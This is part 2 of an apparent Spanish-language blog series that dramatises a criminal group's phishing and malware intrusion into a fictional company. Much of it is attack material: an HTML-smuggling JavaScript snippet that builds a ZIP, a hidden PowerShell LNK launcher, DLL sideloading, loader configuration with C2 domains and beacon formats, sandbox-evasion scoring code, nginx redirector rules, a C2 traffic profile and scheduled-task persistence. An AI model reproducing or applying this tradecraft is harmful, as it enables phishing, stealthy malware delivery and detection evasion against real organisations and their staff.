El primer correo llego un martes a las 08:42. No parecía peligroso. Ese fue su logro.
No prometía bonos. No amenazaba con cerrar cuentas. No decía "URGENTE" en mayúsculas. El asunto era seco, administrativo, casi invisible: "Actualización requerida: Portal de beneficios 2026"
En IberLogix, nadie quería leer otro correo de RRHH. Precisamente por eso funcionó.
El mensaje decía que, tras la integración de TransIber Norte, todos los empleados debían revisar sus beneficios antes del cierre mensual. El enlace apuntaba a:
El dominio era falso. El certificado TLS era válido. El diseño copiaba el portal interno con suficiente fidelidad como para no activar la intuición de un empleado cansado. La landing no descargaba malware de inmediato. Primero clasificaba.
Si el visitante parecía empleado real desde una red o VPN plausible, se mostraba el portal. La URL llevaba un token:
Ese token no era solo tracking. Estaba asociado a un registro:

El blob descifrado contenía:
El primer beacon era deliberadamente aburrido:
El cuerpo no era JSON. Era un paquete binario:
La telemetría inicial incluía:
El C2 respondía con una decisión:
No siempre había segunda fase. Muchos hosts se descartaban. Un portátil de becario podía no valer el riesgo. Un servidor con EDR agresivo podía esperar. Una máquina de finanzas con VPN y OneDrive sincronizado subía de prioridad.
La máquina de Marta Solis, manager de finanzas regional, subió a prioridad 9.
A las 11:12, Nighthook estaba instalado con persistencia ligera:
El nombre no era perfecto. Era suficientemente mediocre. En empresas grandes, lo mediocre se mezcla mejor que lo brillante.
El primer día no hicieron nada mas.
Ese fue el segundo logro.
https://beneficios-iberlogix[.]com/portal/revision
El phishing como embudo técnico
Saltline había construido el phishing como un producto con fases:
El servidor de phishing no entregaba lo mismo a todos. Revisaba:
Si el visitante parecía una sandbox, investigador o servicio de análisis, veía una pagina de mantenimiento:
Email delivery
-> link click
-> browser fingerprint
-> tenant/user validation
-> credential prompt or payload path
-> execution
-> loader validation
-> C2 enrollment
IP ASN
GeoIP aproximado
User-Agent
Accept-Language
Timezone via JavaScript
Screen size
Referrer
Known corporate CIDR
Email token in URL
Si el visitante parecía empleado real desde una red o VPN plausible, se mostraba el portal. La URL llevaba un token:
/portal/revision?id=8f4a2c9b-emp-3941
{
"campaign": "black_orchard",
"recipient": "marta.solis@iberlogix.example",
"department": "finance",
"seniority": "manager",
"language": "es-ES",
"payload_path": "html_smuggling",
"priority": 8
}
La campaña tenía tres rutas:
Ruta A: Captura de credenciales M365
Ruta B: Consent phishing para app maliciosa
Ruta C: Descarga de paquete local con loader
La ruta A capturaba credenciales y MFA tokens si el flujo lo permitía. La ruta B intentaba que el usuario autorizase una aplicación OAuth con permisos de correo básicos.
La ruta C entregaba el loader.
Nebula Jackal prefería conseguir dos cosas: sesión cloud y endpoint.
Un token sin máquina era útil. Una máquina sin correo era útil. Las dos juntas eran oro.
HTML smuggling: el archivo nace dentro del navegador
El payload no se descargaba como `exe`. La landing generaba localmente un ZIP usando JavaScript. La idea era simple: el contenido malicioso viajaba como datos codificados dentro de la página, y el navegador reconstruía el archivo en memoria.
Fragmento conceptual:
El ZIP estaba protegido con una contraseña escrita en la pagina:
La contraseña no protegía la información. Protegía el payload de algunos motores automáticos que no desempaquetaban archivos cifrados en profundidad. Dentro había:
<script>
const b64 = "UEsDBBQAAAAI..."; // ZIP cifrado y troceado
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
const blob = new Blob([bytes], {type: "application/zip"});
const a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = "Beneficios_IberLogix_2026.zip";
a.click();
</script>Clave del documento: IberLogix2026!

El PDF era real: un documento de beneficios copiado de materiales públicos y modificado. El `.lnk` era el ejecutable social. El usuario veía un icono de PDF, doble clickaba y el LNK lanzaba una cadena controlada.
El comando del LNK, simplificado, era:
powershell
powershell.exe -NoP -W Hidden -ExecutionPolicy Bypass -Command "
$p=$env:TEMP+'\IberBenefits';
New-Item -ItemType Directory -Force $p | Out-Null;
Copy-Item '.\IberLogixBenefits.exe' $p;
Copy-Item '.\version.dll' $p;
Start-Process ($p+'\IberLogixBenefits.exe');
Start-Process '.\Beneficios_IberLogix_2026.pdf'
"
El truco era el DLL sideloading. `IberLogixBenefits.exe` era una aplicación legítima vulnerable a carga lateral de DLL (sideloading). Al ejecutarse, buscaba `version.dll` en su directorio. Windows resolvía primero la DLL local. Esa DLL era SeedCrate.
El usuario veía abrirse el PDF. El loader respiraba por primera vez.
SeedCrate: hacer poco, sobrevivir mucho
Sable había diseñado SeedCrate con una filosofía estricta: el loader no era una navaja suiza. Era una semilla.
Sus responsabilidades:
1. Comprobar entorno
2. Desempaquetar configuración
3. Establecer canal inicial
4. Enviar telemetría mínima
5. Descargar modulo de segunda fase si procede
6. Instalar persistencia ligera solo con aprobación C2
No volcaba credenciales. No escaneaba red. No inyectaba en procesos sensibles al inicio. No intentaba privilegios. No tocaba LSASS. El primer objetivo era sobrevivir las primeras horas. La configuración iba cifrada dentro de la DLL:
struct seed_config {
uint32_t magic;
uint16_t version;
uint16_t flags;
uint8_t campaign_id[16];
uint8_t config_nonce[12];
uint8_t encrypted_blob[];
};
{
"campaign": "black_orchard",
"profile": "iberlogix_hr",
"domains": [
"cdn-beneficios[.]com",
"static-hrsync[.]net",
"assets-portal[.]cloud"
],
"uri": ["/api/v1/sync", "/content/check", "/cdn/pixel"],
"jitter_min": 1200,
"jitter_max": 2700,
"kill_after": "2026-04-30T00:00:00Z",
"public_key": "base64-curve25519-key"
}
POST /api/v1/sync HTTP/1.1
Host: cdn-beneficios[.]com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/octet-stream
Accept: */*
Connection: keep-alive
magic 4 bytes
version 2 bytes
campaign_id 16 bytes
host_id 16 bytes
nonce 12 bytes
ciphertext n bytes
tag 16 bytes
{
"hostname": "ES-MAD-FIN-0472",
"domain": "IBERLOGIX",
"username": "msolis",
"integrity": "medium",
"os": "Windows 10 22H2",
"lang": "es-ES",
"tz": "Romance Standard Time",
"processes": ["MsMpEng.exe", "SenseIR.exe", "Teams.exe", "OneDrive.exe"],
"ip_local": "10.44.18.91",
"is_laptop": true,
"joined_domain": true
}
{
"action": "sleep",
"next": 1840,
"profile": "low_noise"
}
Antianálisis sin teatro
SeedCrate no llenaba el código de trucos espectaculares. Sable odiaba las evasiones vistosas porque se convertían en firmas. Prefería checks combinados y decisiones lentas.
Ejemplos:
Decisión:
El decoy mode no se autodestruía dramáticamente. Abría el PDF y terminaba. En algunos casos descargaba una imagen o un archivo inocuo para confundir el análisis.
RAM < 4 GB -> sospecha +2
CPU cores < 2 -> sospecha +1
Uptime < 10 min -> sospecha +1
No domain join -> sospecha +2
Username matches analyst/sandbox/test -> sospecha +2
Processes: procmon, x64dbg, wireshark -> sospecha +3
Recent mouse/keyboard inactivity -> sospecha +1
No corporate DNS suffix -> sospecha +2
score 0-2: continue
score 3-4: long sleep, reduced telemetry
score 5+: decoy mode
Pseudocódigo:
c
int suspicion = 0;
suspicion += check_resources();
suspicion += check_domain_context();
suspicion += check_analysis_tools();
suspicion += check_user_activity();
if (suspicion >= 5) {
open_decoy_pdf();
return 0;
}
if (suspicion >= 3) {
sleep_with_jitter(6 * HOURS, 14 * HOURS);
}
enroll_host();
La clave no era ser invisible. Era no parecer urgente.
Nighthook: el implante que escuchaba
La segunda fase, Nighthook, se descargaba solo tras aprobación del operador. Era modular, escrito en Go con partes criticas en C para llamadas Windows específicas.
Capacidades:
Nighthook no permitía a cualquier operador lanzar cualquier cosa. El panel C2 imponía controles:
Esto no era ética. Era prevención de accidentes. Un operador impulsivo podía arruinar una campana.
core:
- beaconing HTTP(S)
- task queue
- file upload/download
- process execution con control de salida
- in-memory module loading
windows:
- token enumeration
- DPAPI context discovery
- browser profile discovery
- named pipe communication
- WMI/WinRM helpers
opsec:
- rate limiting
- command allowlist por rol
- operator approval gates
- self-delete
- per-host kill switch
Operator Saltline:
allowed: view host, tag host, request persistence
denied: exec, dump, lateral
Operator Knifewall:
allowed: exec, lateral helpers, AD modules
denied: ransomware deploy
Operator Hollow:
allowed: file search, staging, exfil
denied: encrypt
Operator Nadir:
allowed: deploy encryptor only after Curator approval
C2: capas, redirectores y perfiles
Oboe separaba infraestructura en cinco niveles:
Los redirectores filtraban por cabeceras, rutas y origen. Si el trafico no parecía implante, devolvían contenido estático:
Victim endpoint
-> redirector CDN-like
-> regional front VPS
-> C2 application
-> operator panel behind VPN
nginx
location /api/v1/sync {
if ($http_user_agent !~* "Mozilla/5.0") { return 404; }
proxy_pass https://regional-node-3.internal;
}
location / {
root /var/www/decoy;
try_files $uri /index.html;
}
Los perfiles de beaconing se parecían a telemetría SaaS:
yaml
profile: iberlogix_hr_low_noise
method: POST
uris:
- /api/v1/sync
- /cdn/pixel
- /content/check
headers:
Accept: "*/*"
Content-Type: application/octet-stream
Cache-Control: no-cache
jitter:
min_seconds: 1200
max_seconds: 2700
max_body_kb: 64
working_hours_bias:
timezone: Europe/Madrid
start: "07:30"
end: "20:30"
El implante no hablaba constantemente. Durante las primeras veinticuatro horas, Marta Solis genero cuatro beacons. Cuatro. En un SIEM lleno de millones de eventos, era una aguja sin brillo.
## QA criminal: probar antes de quemar
Nebula Jackal tenia un laboratorio. No era perfecto, pero imitaba entornos corporativos:
Antes de usar SeedCrate contra IberLogix, hicieron una matriz:
La regla "no VirusTotal" era absoluta. Subir muestras a servicios públicos era regalar inteligencia.
Los operadores usaban entornos propios:
Windows 10 / 11 workstations
Windows Server 2016 / 2019 / 2022
AD con OUs realistas
Defender for Endpoint trial
EDR comerciales pirateados o evaluaciones
M365 developer tenants
Fortinet VPN lab
Veeam Community Edition
Elastic/Splunk lab
Test Resultado
------------------------------------------------
ZIP password protected OK
LNK executes from Downloads OK
PDF decoy opens OK
DLL sideload path OK
Defender static Clean
Defender behavior Low signal
EDR A memory scan Suspicious at 12m
EDR B network Clean
Sandbox Any.Run Decoy mode
VirusTotal upload Prohibited internally
powershell
.\run_lab.ps1 -Profile IberLogix -EDR Defender -Payload SeedCrate
.\simulate_click.ps1 -User marta.solis -Locale es-ES -VPNProfile madrid
.\collect_telemetry.ps1 -Window 24h
El objetivo no era detección cero. Era detección insuficiente, tarde y ambigua.
El primer error de IberLogix
Marta Solis no era ingenua. Había hecho cursos de phishing. Sabía no abrir adjuntos raros. Pero el correo no parecía raro porque hablaba de algo real. Venía en español correcto. El dominio se parecía. La pagina tenia TLS.
El PDF se abrió. Nada explotó. Nada pidió permisos de administrador. Nada hizo ruido.
A las 09:03, SeedCrate envió el primer beacon.
A las 09:34, Magpie marcó el host:
host: ES-MAD-FIN-0472
user: IBERLOGIX\msolis
department: Finance
priority: 9
reason: finance manager, laptop, OneDrive, VPN, domain joined
next_action: deploy Nighthook, low noise
Scheduled Task:
Name: AdobeUpdateSync
Trigger: At user logon
Action: rundll32.exe "%APPDATA%\Adobe\Cache\version.dll",Start
User: current
Continúa en Parte 3: Dentro del bosque de Active Directory



Comentarios
Publicar un comentario